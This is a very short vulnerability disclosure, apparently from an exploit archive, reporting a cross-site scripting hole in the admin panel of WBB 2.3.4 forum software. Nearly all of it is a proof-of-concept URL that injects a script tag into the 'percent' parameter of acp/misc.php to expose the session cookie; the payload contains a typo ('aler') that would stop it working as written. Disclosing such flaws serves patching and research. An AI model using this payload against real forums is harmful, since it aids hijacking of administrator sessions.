Wbb 2.3. xss

there is an xss in wbb 2.3.4
example:

http://example.com/wbb/acp/misc.php?sid=yoursessionid&action=workingtop&taskname=Backup%20Database&percent=<script>aler(document.cookie)</script>

thnx